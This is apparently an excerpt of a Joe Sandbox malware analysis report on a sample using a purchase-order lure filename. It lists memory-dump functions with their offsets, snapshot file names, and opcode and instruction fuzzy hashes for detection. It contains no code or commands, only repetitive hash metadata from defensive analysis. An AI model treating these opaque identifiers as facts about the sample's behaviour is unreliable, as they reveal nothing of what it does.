Instruction Fuzzy Hash: 85E0C23188A328DBD718DA55CC05B6A7368DB02214F2021A8C84496A00C77A8800CBC0

Function 05CC5350 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93e29619b7f4e3ee611e563f3a2fbd00a05c89615369d3709bb02ad943d75026
Instruction ID: ad71fea1299ef808b44adbd3a1e783c73c47011c293678b80f1046cf2c40a2d8
Opcode Fuzzy Hash: 93e29619b7f4e3ee611e563f3a2fbd00a05c89615369d3709bb02ad943d75026
Instruction Fuzzy Hash: E4E07D307003048FCB28A1A46C4172536965B85700F542CEDEB069F2C0D9B1FC41C352

Function 06159208 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486966067.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6140000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 725cb27898f49a19e6dd52d6c7284d17385bd8f6580412a3ccfaeb143b55bbbc
Instruction ID: b639fdc4de5d62df42e2344b72819822d7e7cbe89d8ad24e1a45c89ccbfebce2
Opcode Fuzzy Hash: 725cb27898f49a19e6dd52d6c7284d17385bd8f6580412a3ccfaeb143b55bbbc
Instruction Fuzzy Hash: BAE0A574D04208EFCB84DFA9D440A9CFBB4EB49210F10C4A99818A3350D6319A51DF81

Function 0615C270 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486966067.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6140000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 725cb27898f49a19e6dd52d6c7284d17385bd8f6580412a3ccfaeb143b55bbbc
Instruction ID: e354636e88375c9aa70e585de52c699022295a54debd986685fb4ea060029fe7
Opcode Fuzzy Hash: 725cb27898f49a19e6dd52d6c7284d17385bd8f6580412a3ccfaeb143b55bbbc
Instruction Fuzzy Hash: 22E0AE74E04308EFCB84DFA9D840AADFBB4AB49310F20C4AA9828A3351D7319A51DF80

Function 06154DB8 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486966067.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6140000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 725cb27898f49a19e6dd52d6c7284d17385bd8f6580412a3ccfaeb143b55bbbc
Instruction ID: 4f2e0831c0552115147b4cc80dc63f96a244fa32af0f40fc6773265777788b15
Opcode Fuzzy Hash: 725cb27898f49a19e6dd52d6c7284d17385bd8f6580412a3ccfaeb143b55bbbc
Instruction Fuzzy Hash: EDE0C974D04208EFCB84DFA9D540A9CFBF4EB59310F10C4A99C58A3350D7359A51DF80

Function 05C98480 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51c14f1023f112c72b39e4aba9d7056c4c936721e1055a78397efaaf0369ba7e
Instruction ID: 5e8ab33931ebb17cc104fbe4503130d2fdd2d71f15b61729245f4b635eac79f4
Opcode Fuzzy Hash: 51c14f1023f112c72b39e4aba9d7056c4c936721e1055a78397efaaf0369ba7e
Instruction Fuzzy Hash: EBE0E5B4E14208EFCB58DFAAD548A9CBBF8FF49300F1084E9D818A7720D6349A40DF41

Function 05CC0550 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 191c5124cfcc7d887f9d279bb2e4a0ab54824abee996bd4e2e3513ca5ed9d2b8
Instruction ID: cb62be35bba62a80655ab8a33152cd2d4a4344dcd1a695379ffe2b7c718c3670
Opcode Fuzzy Hash: 191c5124cfcc7d887f9d279bb2e4a0ab54824abee996bd4e2e3513ca5ed9d2b8
Instruction Fuzzy Hash: 55E0E574E04208EFCB84DFA9D4446ACFBF4EB49200F20C4EDC819A3351D6319A41DF84

Function 0615FE18 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486966067.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6140000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c30162dd38f362ed69d8ad2485301d7ec9cbe8ba17549be8e0b8c7450e502531
Instruction ID: f0c6214bd5e2b53b805a0c9414e557f7b266592f86b258b728abf2eec1575842
Opcode Fuzzy Hash: c30162dd38f362ed69d8ad2485301d7ec9cbe8ba17549be8e0b8c7450e502531
Instruction Fuzzy Hash: A1E0E574E04208EFCB84DFA9D4456ACFBF4EB49214F21C4E98828A3341D731AA42CF80

Function 06158EF8 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486966067.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6140000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c30162dd38f362ed69d8ad2485301d7ec9cbe8ba17549be8e0b8c7450e502531
Instruction ID: a614561c9134c9430baf93dc69c880d0e0d767146db563c304e02ab6b312c50e
Opcode Fuzzy Hash: c30162dd38f362ed69d8ad2485301d7ec9cbe8ba17549be8e0b8c7450e502531
Instruction Fuzzy Hash: 56E0C274E04208EFCB84DFA9D4406ACFBF5EB49200F20C4AA9828A3340D6319A42CF80

Function 05C96488 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e73550fe32e01cd516aae1e79c9436c4735317846bcbb9f9410840b1432bd2d0
Instruction ID: cd094128b60c70abca03ccd0bcb4800ba6102768c46273a6821d4c2e76ef679c
Opcode Fuzzy Hash: e73550fe32e01cd516aae1e79c9436c4735317846bcbb9f9410840b1432bd2d0
Instruction Fuzzy Hash: C5E0E574D08208AFCB08DF95D544AACFBB9EB49210F24C4AA985567391D6319A91EF84

Function 05C9EF40 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 603f2a2f9ae0db31a0baa231bd35864336d164ca23853ffc8468db3a56b2c616
Instruction ID: 5833516f2832f7a2e92bd9982bfbbe2976eb4111a3b9f75f2a52979eb518b825
Opcode Fuzzy Hash: 603f2a2f9ae0db31a0baa231bd35864336d164ca23853ffc8468db3a56b2c616
Instruction Fuzzy Hash: 4AE01A74E04308EFCF48DFA9D4046ACBBB9BB49300F2084EA8818A3300D7345A40DF40

Function 0615EAF0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486966067.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6140000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 194d311227e845ec9325a75a1d09af11190914a7c40e09ff7d1d31979d0e5c69
Instruction ID: 6928abd0477221cc37c5a64bc7337e9ba472685cc4e23ddced95b3e061b615d8
Opcode Fuzzy Hash: 194d311227e845ec9325a75a1d09af11190914a7c40e09ff7d1d31979d0e5c69
Instruction Fuzzy Hash: E0E04FB5D08308EFC744DBA4D84496DFFB8AB46311F20C499DC5567341C631AA51DB94

Function 05C915D0 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71a500bc455283664a385edd1ab664e39fd1ad0b844dc855c89ee90986bb19a6
Instruction ID: 53b861be4741a38d4042df912272ba2c70efbb874df9d7a131d33cd066481263
Opcode Fuzzy Hash: 71a500bc455283664a385edd1ab664e39fd1ad0b844dc855c89ee90986bb19a6
Instruction Fuzzy Hash: CEE08C74D08208EBCB08DFA5E8459ACFBB9EB46310F24C4A9DC0627350C6329E92DB84

Function 05CC1FA4 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03e7d29380d32abbe30d708b995222fe6b2e068bc5c0edf000edd8e545064aa1
Instruction ID: b038c1ed992452a8449512a8f4b6ebdeff43d7c73308647f5c2c2f6a2dfdb2b2
Opcode Fuzzy Hash: 03e7d29380d32abbe30d708b995222fe6b2e068bc5c0edf000edd8e545064aa1
Instruction Fuzzy Hash: D9E04F70A01209DFCB54DFB8E8456AC77B6EB8521576061F9D489D3750EF325E81CB01

Function 05CC534C Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c49577c91cab350bc3bc0ebdddda1aa45d59f90784345c8129ce2b1c519125cd
Instruction ID: b4c08bd3e65197b3896be1d7bb25abd8c3f10b565859e6ab4464a0991a9b5d90
Opcode Fuzzy Hash: c49577c91cab350bc3bc0ebdddda1aa45d59f90784345c8129ce2b1c519125cd
Instruction Fuzzy Hash: 34E02B35745310CFDB28A660AD41B613B626B48352F185DEEDA059F1C0D6B1E841C302

Function 05CC0B69 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a0c3ab15bfc82e2a003076b125bb191ff0552f3779b533aaebded7923e99deb
Instruction ID: d5a1212fa327115919b0a2e751f321d50ee8d18afab41bcf08f80b52ae9277a1
Opcode Fuzzy Hash: 9a0c3ab15bfc82e2a003076b125bb191ff0552f3779b533aaebded7923e99deb
Instruction Fuzzy Hash: 44E04FB5E102089BDB04EBF4EE517AD77B1EB88210F1047A9D41597280FA316F029B50

Function 05CC0B20 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06c4b8aa102be8bcc5ee468f27a4946dcca90a51212745362ce0830a5bdad703
Instruction ID: 8837ee0ad0e65d4f386b7eb04131534747ccaed531d4404eec17fbbca6042269
Opcode Fuzzy Hash: 06c4b8aa102be8bcc5ee468f27a4946dcca90a51212745362ce0830a5bdad703
Instruction Fuzzy Hash: 5DE0DF71E02208DFCB40EBB4EA1579D7BF1EF44321F100BD9C00A93380E9306E048B82

Function 0615F7D0 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486966067.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6140000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2449ec7037c7c826362bae841896e2e1a31990edbd5d2043bd7e524117dbfafc
Instruction ID: a887a0da8b755ee882b9e4f9e6ad82899c0189fc6ebeb8cb260ffdc97ec3a46d
Opcode Fuzzy Hash: 2449ec7037c7c826362bae841896e2e1a31990edbd5d2043bd7e524117dbfafc
Instruction Fuzzy Hash: 32E04F34D04208DFC784EFA8D44069CFBF8AB09200F2084E98C18D3340E7319E42CF80

Function 06144446 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486966067.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6140000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f33cb706dd73c7764fb0fd6e55450429e224790583383570d97bdb2179b1e908
Instruction ID: 6d327c8253dd37a5c14223a52593eab511bb4da25c49ebe853b8cf5ca8897910
Opcode Fuzzy Hash: f33cb706dd73c7764fb0fd6e55450429e224790583383570d97bdb2179b1e908
Instruction Fuzzy Hash: 3FE02234404196CFC365DBA0D855BD5BBB0EF4E309F5941D6C0296B682DB30AA88CFA1

Function 061579A0 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486966067.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6140000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 370339da12430e0faa778726a98ec762319cf11a418b53b5ee33f34d5a143f7c
Instruction ID: 7cb4aaa09a037b30162572ec3243f427567936eb5ff20793099b526e92b44e04
Opcode Fuzzy Hash: 370339da12430e0faa778726a98ec762319cf11a418b53b5ee33f34d5a143f7c
Instruction Fuzzy Hash: EDE01A34D08218EFCB44DB95D4416ACFBB4EB89310F2080E98C6867381D7355A41DF91

Function 05C9EFB8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de34ed9382aa772898ddd750b544ad671c78af03e539d4694536d404d189dedc
Instruction ID: e2c14190c2d5f958d3ece9be95fa138245aed011caf9e0bac530b6b67c8f68ff
Opcode Fuzzy Hash: de34ed9382aa772898ddd750b544ad671c78af03e539d4694536d404d189dedc
Instruction Fuzzy Hash: 23E0EC74D55208DFCB44DFB9D5496ACBFF8AB05211F2045A98809A3250E7705F90CB41

Function 05C902E8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e208671cfabd548221af9d374a765acc990114bf7ede467bdf935cc813696e6
Instruction ID: 1d632344dc961d08d2147fa98e30e2dd9c470fde7b5ddad02dea52362c4ca1f6
Opcode Fuzzy Hash: 1e208671cfabd548221af9d374a765acc990114bf7ede467bdf935cc813696e6
Instruction Fuzzy Hash: 67E0C234909208DBCB08DF95E84996CFBB8FB46300F2094DCC80837341CB315E42CB80

Function 05E701D8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486411765.0000000005E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4e7091140b057e4f02fc8c7257db516ab4bccf31127d495fe18164f72044b35
Instruction ID: fb929ca7e2a21a877963cf712dbe2d38a2aae418d30aca4690bdee6053dc0653
Opcode Fuzzy Hash: e4e7091140b057e4f02fc8c7257db516ab4bccf31127d495fe18164f72044b35
Instruction Fuzzy Hash: CEE08C34949308DBCB04DF94E8459ACBBB9AB46304F2091DCC80827341CB316E42CF81

Function 0278C2F0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1472580389.0000000002780000.00000040.00000800.00020000.00000000.sdmp, Offset: 02780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2780000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5919d2a2020fdf3f0bcb26ce7aa9cc81d98549bc26a72fc341d7bc8e4b310496
Instruction ID: 16855fe1b1f80d9b5d1c512f99388c15144bd51f8687d44d620336a49ec4aaa0
Opcode Fuzzy Hash: 5919d2a2020fdf3f0bcb26ce7aa9cc81d98549bc26a72fc341d7bc8e4b310496
Instruction Fuzzy Hash: C5E0C272840308DFDB06EFF5D408B5EB7F8DB46201F1008E99444A3210EB714E109BA6

Function 05CC1FA8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 252f0e306237b1470d9f09caf03eb2618da5d68fac91657e530cf8763d8119ee
Instruction ID: 082d75d3e10dd66bd302b281a5a183a11ced98c8b8ee8affa2647eff5b8bc904
Opcode Fuzzy Hash: 252f0e306237b1470d9f09caf03eb2618da5d68fac91657e530cf8763d8119ee
Instruction Fuzzy Hash: EEE04F30A01209DFCB54EFB8E44556CB7B5EB452147A051B8D489D3300EF326E80CB41

Function 05CCBED3 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68c595a61554c8ddf1d72af0131670bf2f6d543aa2c962bbe61c50dd962856b8
Instruction ID: 848001256264c4ece87b5b2bfb0e254b2b22c73660d78572349d8f9c7c39542a
Opcode Fuzzy Hash: 68c595a61554c8ddf1d72af0131670bf2f6d543aa2c962bbe61c50dd962856b8
Instruction Fuzzy Hash: 92D02B3430439547C725826EE8027A23FD2ABC9A0CF4009ADF405C7714EA10DD4587C0

Function 05CC4EFC Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29bd10676ca65bac2c5e2b46af69027a788584feda18b2aac31b13576e1df94a
Instruction ID: 2e952594b54dccc39362d91ef38a52acd89857111986143ec94fd3b5d064396f
Opcode Fuzzy Hash: 29bd10676ca65bac2c5e2b46af69027a788584feda18b2aac31b13576e1df94a
Instruction Fuzzy Hash: 8BD097E3C201542BC505FB7A48F9ACCBF00AD320303150FC8A033C10E0DD30A12F800A

Function 05CCE381 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a4d0ad1409556c2db29583bc47366fd73cefb1c680691829d0282eff12a7da9
Instruction ID: 2dd55192e933abd0ddb91697176e3c940e3f0e8cf17804c88d6725d19c3cf2a8
Opcode Fuzzy Hash: 6a4d0ad1409556c2db29583bc47366fd73cefb1c680691829d0282eff12a7da9
Instruction Fuzzy Hash: 83E086B60892C4DFC703C725D8458803F749F1761032D64DBF1448F172E222A958C755

Function 0615CCF8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486966067.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6140000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f60977ace6619d410a3104c6a303ec17443c5df35a3193862dae31156d0f1cba
Instruction ID: e2712fdb8c826ca67fe02efb93d99df7acee6110475fc3db484bb7dfcba4d0d4
Opcode Fuzzy Hash: f60977ace6619d410a3104c6a303ec17443c5df35a3193862dae31156d0f1cba
Instruction Fuzzy Hash: 5EE08C34948308DBCB08DF94E840A6CFFB8AB86300F2080EC8C1867340CB325E42DBC0

Function 05C9B3F4 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485485709.0000000005C90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c90000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0382d1189dbffff69f9fa8850e42a63de89b9f188a678f76544cae9038c65aa5
Instruction ID: ea4ab69d9b0c1af024c5428398d5356893673a616ed390acde904cf6e9f6a0ca
Opcode Fuzzy Hash: 0382d1189dbffff69f9fa8850e42a63de89b9f188a678f76544cae9038c65aa5
Instruction Fuzzy Hash: 38F062B4D42228DFCBA4DF55E88869CBBB5FB58311F1082D9940DA3354DB345E90CF40

Function 05CC0448 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3acd6a87e9b093aa52a111c6fa69d4c87066b0a9eed46149705915eab726204
Instruction ID: 28f9eeb79359cb875844fa0ddea612b631b6626e3e3c4056941124785b62da44
Opcode Fuzzy Hash: e3acd6a87e9b093aa52a111c6fa69d4c87066b0a9eed46149705915eab726204
Instruction Fuzzy Hash: B9D01730C4930CEBCB19EFA5A5086ADBBBAEB42302F6045ECC80437650DA719E94DF95

Function 05CC0B78 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f83c5391f89bb556e4406f86636acb835b68d645998f1442378e74ecee788e5
Instruction ID: bcb89f52b988e2e28e1e9e4eb802df25dc992c7ec578f3238ba10f394f739eb9
Opcode Fuzzy Hash: 4f83c5391f89bb556e4406f86636acb835b68d645998f1442378e74ecee788e5
Instruction Fuzzy Hash: CCE01274E0020CEBDB04EFB5E951BADB7B6EB84600F5085A9D805D7240FE716E019B91

Function 0278FC58 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1472580389.0000000002780000.00000040.00000800.00020000.00000000.sdmp, Offset: 02780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2780000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84b948a0939af040a92e8819c784242760080a5dca911754727dc6adec7631ae
Instruction ID: 5c79c8341e87817c4d5dd8c83d8ffbd2ac2f8bba59c6cdd6230e1964ec30dd7b
Opcode Fuzzy Hash: 84b948a0939af040a92e8819c784242760080a5dca911754727dc6adec7631ae
Instruction Fuzzy Hash: E4D0A73098D208DFC704DB95D840A69F7BCDB46214F2090DCCC0867751CB729E01CB81

Function 05CC4EDC Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00e55752eb1082bbe1122558f4c7ccbff2f16d7904b1e0d4290aeffce8f73d10
Instruction ID: 5bbf253e8cc075edc20356af55f0b58f420cf3d0fc6ce7a9fd677c99eeb6742d
Opcode Fuzzy Hash: 00e55752eb1082bbe1122558f4c7ccbff2f16d7904b1e0d4290aeffce8f73d10
Instruction Fuzzy Hash: A7D022FBE10001AFCF10EAA249E9D88AF10EA222313228ACAE016C90C1CC21A103C362

Function 05CC0B30 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1485615821.0000000005CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5cc0000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e5b0da92d35ce3450a598e7f9bd8882fd6a60e7eb55dbaf2ba3c2f866b379bb
Instruction ID: 2823ecb0a2d27f3b8f197958c12e8238657f9b5d166bbee0eef6658c94978f27
Opcode Fuzzy Hash: 8e5b0da92d35ce3450a598e7f9bd8882fd6a60e7eb55dbaf2ba3c2f866b379bb
Instruction Fuzzy Hash: 5AE01270A1020DEFCB04EFF8E541A9D77F5EB44310F1045A9D409D3304EA716E009B91

Function 05E70AD8 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486411765.0000000005E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e70000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a1c093a444b4f4e426627a5faf3976f24f4caad985b5e3a33d444f657a9b298
Instruction ID: b16f48eabd28c20407b9e0af5a3cd2febbd9d9bab02659a3dbb1875cb91c1c62
Opcode Fuzzy Hash: 1a1c093a444b4f4e426627a5faf3976f24f4caad985b5e3a33d444f657a9b298
Instruction Fuzzy Hash: 8AD0A93088B30CDBE718DBA69408BAEB36DEB02215F2020EC880922210DBB29D40CFC0

Function 0615D010 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1486966067.0000000006140000.00000040.00000800.00020000.00000000.sdmp, Offset: 06140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6140000_PO_9876563647-FLOWTRONIX (FT)UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
